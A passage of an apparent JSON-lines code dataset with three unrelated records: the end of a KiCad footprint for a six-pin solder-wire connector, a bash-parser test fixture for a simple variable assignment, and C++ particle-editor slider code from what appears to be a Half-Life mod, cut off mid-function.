10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 8 0) (end 8 12) (layer F.Fab) (width 0.1))\n (fp_line (start 10 0) (end 10 12) (layer F.Fab) (width 0.1))\n (fp_line (start 8 12) (end 8 24) (layer B.Fab) (width 0.1))\n (fp_line (start 10 12) (end 10 24) (layer B.Fab) (width 0.1))\n (fp_line (start 10.11 1.26) (end 10.11 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 7.89 1.26) (end 7.89 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 10.11 13.11) (end 10.11 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 7.89 13.11) (end 7.89 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 7.25 -1.5) (end 7.25 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 7.25 13.75) (end 10.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 10.75 13.75) (end 10.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 10.75 -1.5) (end 7.25 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 7.25 22.25) (end 7.25 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 7.25 25.75) (end 10.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 10.75 25.75) (end 10.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 10.75 22.25) (end 7.25 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 7.25 10.25) (end 7.25 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 7.25 25.75) (end 10.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 10.75 25.75) (end 10.75 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 10.75 10.25) (end 7.25 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 12.5 0) (end 12.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 14.5 0) (end 14.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 12.5 12) (end 12.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 14.5 12) (end 14.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 14.61 1.26) (end 14.61 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 12.39 1.26) (end 12.39 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 14.61 13.11) (end 14.61 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 12.39 13.11) (end 12.39 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 11.75 -1.5) (end 11.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 11.75 13.75) (end 15.25 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 15.25 13.75) (end 15.25 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 15.25 -1.5) (end 11.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 11.75 22.25) (end 11.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 11.75 25.75) (end 15.25 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 15.25 25.75) (end 15.25 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 15.25 22.25) (end 11.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 11.75 10.25) (end 11.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 11.75 25.75) (end 15.25 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 15.25 25.75) (end 15.25 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 15.25 10.25) (end 11.75 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 17 0) (end 17 12) (layer F.Fab) (width 0.1))\n (fp_line (start 19 0) (end 19 12) (layer F.Fab) (width 0.1))\n (fp_line (start 17 12) (end 17 24) (layer B.Fab) (width 0.1))\n (fp_line (start 19 12) (end 19 24) (layer B.Fab) (width 0.1))\n (fp_line (start 19.11 1.26) (end 19.11 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 16.89 1.26) (end 16.89 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 19.11 13.11) (end 19.11 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 16.89 13.11) (end 16.89 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 16.25 -1.5) (end 16.25 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 16.25 13.75) (end 19.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 19.75 13.75) (end 19.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 19.75 -1.5) (end 16.25 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 16.25 22.25) (end 16.25 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 16.25 25.75) (end 19.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 19.75 25.75) (end 19.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 19.75 22.25) (end 16.25 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 16.25 10.25) (end 16.25 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 16.25 25.75) (end 19.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 19.75 25.75) (end 19.75 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 19.75 10.25) (end 16.25 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 21.5 0) (end 21.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 23.5 0) (end 23.5 12) (layer F.Fab) (width 0.1))\n (fp_line (start 21.5 12) (end 21.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 23.5 12) (end 23.5 24) (layer B.Fab) (width 0.1))\n (fp_line (start 23.61 1.26) (end 23.61 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 21.39 1.26) (end 21.39 10.89) (layer F.SilkS) (width 0.12))\n (fp_line (start 23.61 13.11) (end 23.61 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 21.39 13.11) (end 21.39 22.89) (layer B.SilkS) (width 0.12))\n (fp_line (start 20.75 -1.5) (end 20.75 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 20.75 13.75) (end 24.25 13.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 24.25 13.75) (end 24.25 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 24.25 -1.5) (end 20.75 -1.5) (layer F.CrtYd) (width 0.05))\n (fp_line (start 20.75 22.25) (end 20.75 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 20.75 25.75) (end 24.25 25.75) (layer F.CrtYd) (width 0.05))\n (fp_line (start 24.25 25.75) (end 24.25 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 24.25 22.25) (end 20.75 22.25) (layer F.CrtYd) (width 0.05))\n (fp_line (start 20.75 10.25) (end 20.75 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 20.75 25.75) (end 24.25 25.75) (layer B.CrtYd) (width 0.05))\n (fp_line (start 24.25 25.75) (end 24.25 10.25) (layer B.CrtYd) (width 0.05))\n (fp_line (start 24.25 10.25) (end 20.75 10.25) (layer B.CrtYd) (width 0.05))\n (pad 1 thru_hole roundrect (at 0 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask) (roundrect_rratio 0.125))\n (pad 2 thru_hole circle (at 4.5 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask))\n (pad 3 thru_hole circle (at 9 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask))\n (pad 4 thru_hole circle (at 13.5 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask))\n (pad 5 thru_hole circle (at 18 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask))\n (pad 6 thru_hole circle (at 22.5 0) (size 2 2) (drill 0.85) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 0 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 0 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 4.5 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 4.5 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 9 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 9 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 13.5 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 13.5 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 18 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 18 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 22.5 12) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (pad \"\" np_thru_hole circle (at 22.5 24) (size 2.5 2.5) (drill 2.5) (layers *.Cu *.Mask))\n (fp_text user %R (at 11.25 6 90) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (model ${KISYS3DMOD}/Connector_Wire.3dshapes/SolderWire-0.25sqmm_1x06_P4.5mm_D0.65mm_OD2mm_Relief2x.wrl\n (at (xyz 0 0 0))\n (scale (xyz 1 1 1))\n (rotate (xyz 0 0 0))\n )\n)"} +{"text": "module.exports = {\n\tsourceCode: \"echoword=$*\",\n\tresult: {\n\t\ttype: \"Script\",\n\t\tcommands: [\n\t\t\t{\n\t\t\t\ttype: \"SimpleCommand\",\n\t\t\t\tname: {\n\t\t\t\t\ttext: \"\",\n\t\t\t\t\ttype: \"Word\"\n\t\t\t\t},\n\t\t\t\tprefix: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttext: \"echoword=$*\",\n\t\t\t\t\t\texpansion: [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tloc: {\n\t\t\t\t\t\t\t\t\tstart: 9,\n\t\t\t\t\t\t\t\t\tend: 10\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tparameter: \"*\",\n\t\t\t\t\t\t\t\ttype: \"ParameterExpansion\",\n\t\t\t\t\t\t\t\tkind: \"positional-string\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t],\n\t\t\t\t\t\ttype: \"AssignmentWord\"\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}\n}"} +{"text": "#include \"util/nowarnings.h\"\r\n#include \"mod/AvHParticleEditorHandler.h\"\r\n#include \"cl_dll/chud.h\"\r\n#include \"cl_dll/hud.h\"\r\n#include \"cl_dll/cl_util.h\"\r\n#include \"mod/AvHConstants.h\"\r\n#include \"mod/AvHParticleTemplateClient.h\"\r\n#include \"mod/AvHParticleSystemManager.h\"\r\n#include \"VGUI_Label.h\"\r\n#include \"util/STLUtil.h\"\r\n//#include \"ui/SliderPlus.h\"\r\n#include \"game_shared/vgui_slider2.h\"\r\n\r\nuint32 AvHParticleEditorHandler::sEditIndex = 0;\r\nbool AvHParticleEditorHandler::sInEditMode = false;\r\n\r\nextern AvHParticleTemplateListClient\tgParticleTemplateList;\r\n\r\nAvHSizeHandler\t\t\t\t\t\tgSizeHandler(kPSESizeSlider, kPSESizeLabel);\r\nAvHScaleHandler\t\t\t\t\t\tgScaleHandler(kPSEScaleSlider, kPSEScaleLabel);\r\nAvHGenerationRateHandler\t\t\tgGenerationRateHandler(kPSEGenerationRateSlider, kPSEGenerationRateLabel);\r\nAvHParticleLifetimeHandler\t\t\tgParticleLifetimeHandler(kPSEParticleLifetimeSlider, kPSEParticleLifetimeLabel);\r\nAvHParticleSystemLifetimeHandler\tgParticleSystemLifetimeHandler(kPSEParticleSystemLifetimeSlider, kPSEParticleSystemLifetimeLabel);\r\nAvHMaxParticlesHandler\t\t\t\tgMaxParticlesHandler(kPSEMaxParticlesSlider, kPSEMaxParticlesLabel);\r\nAvHDrawModeHandler\t\t\t\t\tgDrawModeHandler(kPSEDrawModeSlider, kPSEDrawModeLabel);\r\nAvHGenVelToggleHandler\t\t\t\tgGenVelToggleHandler(PSEGenVelToggleSlider, kPSEGenVelToggleLabel);\r\nAvHGenVelShapeHandler\t\t\t\tgGenVelShapeHandler(kPSEGenVelShapeSlider, kPSEGenVelShapeLabel);\r\nAvHGenVelParamNumHandler\t\t\tgGenVelParamNumHandler(kPSEGenVelParamNumSlider, kPSEGenVelParamNumLabel);\r\nAvHGenVelParamsHandler\t\t\t\tgGenVelParamsHandler(kPSEGenVelParamValueSlider, kPSEGenVelParamValueLabel);\r\n\r\nconst int AvHSizeHandler::kScalar = 20;\r\nconst int AvHScaleHandler::kScalar = 30;\r\nconst int AvHGenerationRateHandler::kScalar = 5;\r\nconst int AvHParticleLifetimeHandler::kScalar = 20;\r\nconst int AvHParticleSystemLifetimeHandler::kScalar = 5;\r\nconst int AvHMaxParticlesHandler::kScalar = 2;\r\nconst int AvHDrawModeHandler::kScalar = 1;\r\nconst int AvHGenVelToggleHandler::kScalar = 250;\r\nconst int AvHGenVelShapeHandler::kScalar = 100;\r\nconst int AvHGenVelParamNumHandler::kScalar = 1;\r\nconst int AvHGenVelParamsHandler::kScalar = 1;\r\n\r\nAvHParticleTemplate* GetEdittedParticleTemplate()\r\n{\r\n\tAvHParticleTemplate* theTemplate = NULL;\r\n\t\r\n\ttheTemplate = gParticleTemplateList.GetTemplateAtIndex(AvHParticleEditorHandler::GetEditIndex());\r\n\t\r\n\treturn theTemplate;\r\n}\r\n\r\nAvHParticleEditorHandler::AvHParticleEditorHandler()\r\n{\r\n}\r\n\r\nvoid AvHParticleEditorHandler::InitHandlers()\r\n{\r\n\tgSizeHandler.Init();\r\n\tgScaleHandler.Init();\r\n\tgGenerationRateHandler.Init();\r\n\tgParticleLifetimeHandler.Init();\r\n\tgParticleSystemLifetimeHandler.Init();\r\n\tgMaxParticlesHandler.Init();\r\n\tgDrawModeHandler.Init();\r\n\tgGenVelToggleHandler.Init();\r\n\tgGenVelShapeHandler.Init();\r\n\tgGenVelParamNumHandler.Init();\r\n\tgGenVelParamsHandler.Init();\r\n}\r\n\r\nvoid AvHParticleEditorHandler::ToggleEdit()\r\n{\r\n\tif(!gHUD.GetInTopDownMode() && gHUD.GetServerVariableFloat(\"sv_cheats\"))\r\n\t{\r\n\t\tif(!sInEditMode)\r\n\t\t{\r\n\t\t\tif(gHUD.SwitchUIMode(EDITPS_MODE))\r\n\t\t\t{\r\n\t\t\t\tgHUD.ToggleMouse();\r\n\t\t\t\t\r\n\t\t\t\tAvHParticleEditorHandler::InitHandlers();\r\n\t\t\t\t\r\n\t\t\t\tsInEditMode = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(gHUD.SwitchUIMode(MAIN_MODE))\r\n\t\t\t{\r\n\t\t\t\tgHUD.ToggleMouse();\r\n\r\n\t\t\t\t// Set mouse position to center so it doesn't jar our view\r\n\t\t\t\tgEngfuncs.pfnSetMousePos(gEngfuncs.GetWindowCenterX(), gEngfuncs.GetWindowCenterY());\r\n\t\t\t\t\r\n\t\t\t\tsInEditMode = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nuint32 AvHParticleEditorHandler::GetEditIndex()\r\n{\r\n\treturn sEditIndex;\r\n}\r\n\r\nbool AvHParticleEditorHandler::GetInEditMode()\r\n{\r\n\treturn sInEditMode;\r\n}\r\n\r\nvoid AvHParticleEditorHandler::SetEditIndex(uint32 inIndex)\r\n{\r\n\tbool theReloadValues = false;\r\n\tif(sEditIndex != inIndex)\r\n\t{\r\n\t\ttheReloadValues = true;\r\n\t}\r\n\t\r\n\tsEditIndex = inIndex;\r\n\r\n\tif(theReloadValues)\r\n\t{\r\n\t\t// Init handlers in case we are in edit mode currently\r\n\t\tInitHandlers();\r\n\t}\r\n}\r\n\r\nvoid AvHParticleEditorHandler::Setup()\r\n{\r\n\tgSizeHandler.Setup();\r\n\tgScaleHandler.Setup();\r\n\tgGenerationRateHandler.Setup();\r\n\tgParticleLifetimeHandler.Setup();\r\n\tgParticleSystemLifetimeHandler.Setup();\r\n\tgMaxParticlesHandler.Setup();\r\n\tgDrawModeHandler.Setup();\r\n\tgGenVelToggleHandler.Setup();\r\n\tgGenVelShapeHandler.Setup();\r\n\tgGenVelParamNumHandler.Setup();\r\n\tgGenVelParamsHandler.Setup();\r\n}\r\n\r\nvoid AvHParticleEditorHandler::cursorMoved(int x,int y,Panel* panel)\r\n{\r\n}\r\n\r\nvoid AvHParticleEditorHandler::mousePressed(MouseCode code,Panel* panel)\r\n{\r\n}\r\n\r\nvoid AvHParticleEditorHandler::mouseReleased(MouseCode code,Panel* panel)\r\n{\r\n}\r\n\r\nvoid AvHParticleEditorHandler::mouseWheeled(int delta,Panel* panel)\r\n{\r\n}\r\n\r\n\r\n\r\n\r\n// Generic slider handler\r\nAvHSliderHandler::AvHSliderHandler(const string& inSliderName, const string& inLabelName)\r\n{\r\n\tthis->mSliderName = inSliderName;\r\n\tthis->mLabelName = inLabelName;\r\n}\r\n\r\nvoid AvHSliderHandler::Init()\r\n{\r\n\tAvHParticleTemplate* theTemplate = GetEdittedParticleTemplate();\r\n\tif(theTemplate)\r\n\t{\r\n\t\tthis->InitFromTemplate(theTemplate);\r\n\t}\r\n}\r\n\r\nvoid AvHSliderHandler::intChanged(int /*inValue*/, Panel* inPanel)\r\n{\r\n\tAvHParticleTemplate* theTemplate = GetEdittedParticleTemplate();\r\n\tif(theTemplate)\r\n\t{\r\n\t\tint theNewValue;\r\n\t\tif(this->GetValue(theNewValue))\r\n\t\t{\r\n\t\t\tthis->ChangeTemplateFromValue(theTemplate, theNewValue);\r\n\t\t\t\r\n\t\t\tAvHParticleSystemManager::Instance()->ReloadFromTemplates();\r\n\r\n\t\t\tthis->RecomputeDependencies(theTemplate);\r\n\r\n\t\t\tthis->SetText(theNewValue);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid AvHSliderHandler::SetText(int inValue)\r\n{\r\n\tLabel* theLabel;\r\n\tif(gHUD.GetManager().GetVGUIComponentNamed(this->mLabelName, theLabel))\r\n\t{\r\n\t\tstring theText = this->GetTextFromValue(inValue);\r\n\t\t\r\n\t\ttheLabel->setText(theText.c_str());\r\n\t}\r\n}\r\n\r\nbool AvHSliderHandler::Setup()\r\n{\r\n\tbool theSuccess = false;\r\n\t\r\n\tSlider2* theSlider;\r\n\tif(gHUD.GetManager().GetVGUIComponentNamed(this->mSliderName, theSlider))\r\n\t{\r\n\t\ttheSlider->addIntChangeSignal(this);\r\n\t\ttheSuccess = true;\r\n\t}\r\n\treturn theSuccess;\r\n}\r\n\r\nstring AvHSliderHandler::GetSliderDebugInfo() const\r\n{\r\n\tstring theSliderDebugInfo(\"no slider\");\r\n\t\r\n\t// Look up slider\r\n\tSlider2* theSlider;\r\n\tif(gHUD.GetManager().GetVGUIComponentNamed(this->mSliderName, theSlider))\r\n\t{\r\n\t\t// Build string using min, max, slider window\r\n\t\tint theMin, theMax;\r\n\t\ttheSlider->getRange(theMin, theMax);\r\n\r\n\t\tint theValue = theSlider->getValue();\r\n\t\t//int theRangeWindow = theSlider->getRangeWindow();\r\n\r\n\t\tchar theInfo[128];\r\n\t\tsprintf(theInfo, \"%d %d %d\", theMin, theMax, theValue);\r\n\t\ttheSliderDebugInfo = string(theInfo);\r\n\r\n\t}\r\n\t\r\n\t// return it\r\n\treturn theSliderDebugInfo;\r\n}\r\n\r\nbool AvHSliderHandler::GetValue(int& outValue)\r\n{\r\n\tbool theSuccess = false;\r\n\r\n\t//Slider* theSlider;\r\n\tSlider2* theSlider;\r\n\tif(gHUD.GetManager().GetVGUIComponentNamed(this->mSliderName, theSlider))\r\n\t{\r\n\t\toutValue = theSlider->getValue();\r\n\t\ttheSuccess = true;\r\n\t}\r\n\r\n\treturn theSuccess;\r\n}\r\n\r\nvoid AvHSliderHandler::SetValue(int inValue)\r\n{\r\n\t//SliderPlus* theSlider;\r\n\tSlider2* theSlider;\r\n\tif(gHUD.GetManager().GetVGUIComponentNamed(this->mSliderName, theSlider))\r\n\t{\r\n\t\ttheSlider->setValue(inValue);\r\n\t}\r\n}\r\n\r\n\r\n\r\n// Particle size\r\nvoid AvHSizeHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tfloat theSize = inValue/(float)kScalar;\r\n\tinTemplate->SetParticleSize(theSize);\r\n}\r\n\r\nstring AvHSizeHandler::GetTextFromValue(int inValue)\r\n{\r\n\tchar theBuffer[256];\r\n\tsprintf(theBuffer, \"size: %d\", (inValue/kScalar));\r\n\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHSizeHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = inTemplate->GetParticleSize()*kScalar;\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n// Particle scale\r\nvoid AvHScaleHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tfloat theValue = inValue/(float)kScalar;\r\n\tinTemplate->SetParticleScaling(theValue);\r\n}\r\n\r\nstring AvHScaleHandler::GetTextFromValue(int inValue)\r\n{\r\n\tfloat theValue = inValue/(float)kScalar;\r\n\r\n\tchar theBuffer[256];\r\n\tsprintf(theBuffer, \"scale: %.2f\", theValue);\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHScaleHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = (int)(inTemplate->GetParticleScaling()*kScalar);\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n// Generation rate\r\nvoid AvHGenerationRateHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tint theGenerationRate = inValue/kScalar;\r\n\tinTemplate->SetGenerationRate(theGenerationRate);\r\n//\tSlider* theSlider;\r\n//\tif(gHUD.GetManager().GetVGUIComponentNamed(kPSEScaleSlider, theSlider))\r\n//\t{\r\n//\t\ttheSlider->setRangeWindow(true);\r\n//\t \r\n//\t\ttheSlider->setRangeWindow(inValue);\r\n//\t}\r\n}\r\n\r\nstring AvHGenerationRateHandler::GetTextFromValue(int inValue)\r\n{\r\n\tchar theBuffer[256];\r\n\tsprintf(theBuffer, \"gen rate: %d\", (inValue/kScalar));\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHGenerationRateHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = inTemplate->GetGenerationRate()*kScalar;\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n\r\n\r\n// Particle lifetime\r\nvoid AvHParticleLifetimeHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tfloat theValue = inValue/(float)kScalar;\r\n\tinTemplate->SetParticleLifetime(theValue);\r\n}\r\n\r\nstring AvHParticleLifetimeHandler::GetTextFromValue(int inValue)\r\n{\r\n\tfloat theValue = inValue/(float)kScalar;\r\n\t\r\n\tchar theBuffer[256];\r\n\tsprintf(theBuffer, \"p life: %.1f\", theValue);\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHParticleLifetimeHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = (int)(inTemplate->GetParticleLifetime()*kScalar);\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n\r\n// Particle SYSTEM lifetime\r\nvoid AvHParticleSystemLifetimeHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tif(this->mEditable)\r\n\t{\r\n\t\tfloat theValue = inValue/(float)kScalar;\r\n\t\tinTemplate->SetParticleSystemLifetime(theValue);\r\n\t}\r\n}\r\n\r\nstring AvHParticleSystemLifetimeHandler::GetTextFromValue(int inValue)\r\n{\r\n\tfloat theValue = inValue/(float)kScalar;\r\n\t\r\n\tchar theBuffer[256];\r\n\tif(this->mEditable)\r\n\t{\r\n\t\tsprintf(theBuffer, \"ps life: %.1f\", theValue);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tsprintf(theBuffer, \"ps can't die\");\r\n\t}\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHParticleSystemLifetimeHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = (int)(inTemplate->GetParticleSystemLifetime()*kScalar);\r\n\tif(theValue > 0 || this->mEditable)\r\n\t{\r\n\t\tthis->mEditable = true;\r\n\t\tthis->SetValue(theValue);\r\n\t\tthis->SetText(theValue);\r\n\t}\r\n}\r\n\r\n\r\n// Max particles\r\nvoid AvHMaxParticlesHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tint theMaxParticles = inValue/kScalar;\r\n\tinTemplate->SetMaxParticles(theMaxParticles);\r\n}\r\n\r\nstring AvHMaxParticlesHandler::GetTextFromValue(int inValue)\r\n{\r\n\tchar theBuffer[256];\r\n\tsprintf(theBuffer, \"max parts: %d\", (inValue/kScalar));\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHMaxParticlesHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = inTemplate->GetMaxParticles()*kScalar;\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n\r\n// Render mode\r\nvoid AvHDrawModeHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tint theDrawMode = inValue/kScalar;\r\n\tASSERT(theDrawMode >= 0);\r\n\tASSERT(theDrawMode <= 5);\r\n\r\n\tinTemplate->SetRenderMode(theDrawMode);\r\n}\r\n\r\nstring AvHDrawModeHandler::GetTextFromValue(int inValue)\r\n{\r\n\tstring theString = \"render: \";\r\n\t\r\n\tswitch(inValue/kScalar)\r\n\t{\r\n\tcase 0:\r\n\t\ttheString += \"normal\";\r\n\t\tbreak;\r\n\tcase 1:\r\n\t\ttheString += \"transColor\";\r\n\t\tbreak;\r\n\tcase 2:\r\n\t\ttheString += \"transTexture\";\r\n\t\tbreak;\r\n\tcase 3:\r\n\t\ttheString += \"glow\";\r\n\t\tbreak;\r\n\tcase 4:\r\n\t\ttheString += \"transAlpha\";\r\n\t\tbreak;\r\n\tcase 5:\r\n\t\ttheString += \"transAdd\";\r\n\t\tbreak;\r\n\t}\r\n\treturn theString;\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHDrawModeHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tint theValue = inTemplate->GetRenderMode()*kScalar;\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n\r\n// Gen/Vel toggle\r\nvoid AvHGenVelToggleHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tif(inValue < kScalar)\r\n\t{\r\n\t\tthis->mGenVelMode = true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tthis->mGenVelMode = false;\r\n\t}\r\n\r\n//\t// Trigger change\r\n//\tgGenVelShapeHandler.InitFromTemplate(inTemplate);\r\n//\tgGenVelParamNumHandler.InitFromTemplate(inTemplate);\r\n//\tgGenVelParamsHandler.InitFromTemplate(inTemplate);\r\n}\r\n\r\nstring AvHGenVelToggleHandler::GetTextFromValue(int inValue)\r\n{\r\n\tstring theString = \"generation\";\r\n\r\n\tif(inValue >= kScalar)\r\n\t{\r\n\t\ttheString = \"velocity\";\r\n\t}\r\n\t\t\r\n\treturn theString;\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHGenVelToggleHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\t// Assume edit generation shape to start\r\n\tthis->mGenVelMode = true;\r\n\r\n\tthis->SetValue(1);\r\n\tthis->SetText(1);\r\n}\r\n\r\nbool AvHGenVelToggleHandler::GetGenVelMode() const\r\n{\r\n\treturn this->mGenVelMode;\r\n}\r\n\r\nvoid AvHGenVelToggleHandler::RecomputeDependencies(AvHParticleTemplate* inReloadedTemplate)\r\n{\r\n\t// Trigger change\r\n\tgGenVelShapeHandler.InitFromTemplate(inReloadedTemplate);\r\n\tgGenVelParamNumHandler.InitFromTemplate(inReloadedTemplate);\r\n\tgGenVelParamsHandler.InitFromTemplate(inReloadedTemplate);\r\n}\r\n\r\n// GenVel shape\r\nvoid AvHGenVelShapeHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tif(!this->mUsingEntity)\r\n\t{\r\n\t\tParticleShape theShape = PS_Point;\r\n\t\tswitch(inValue/kScalar)\r\n\t\t{\r\n\t\tcase 1:\r\n\t\t\ttheShape = PS_Point;\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\ttheShape 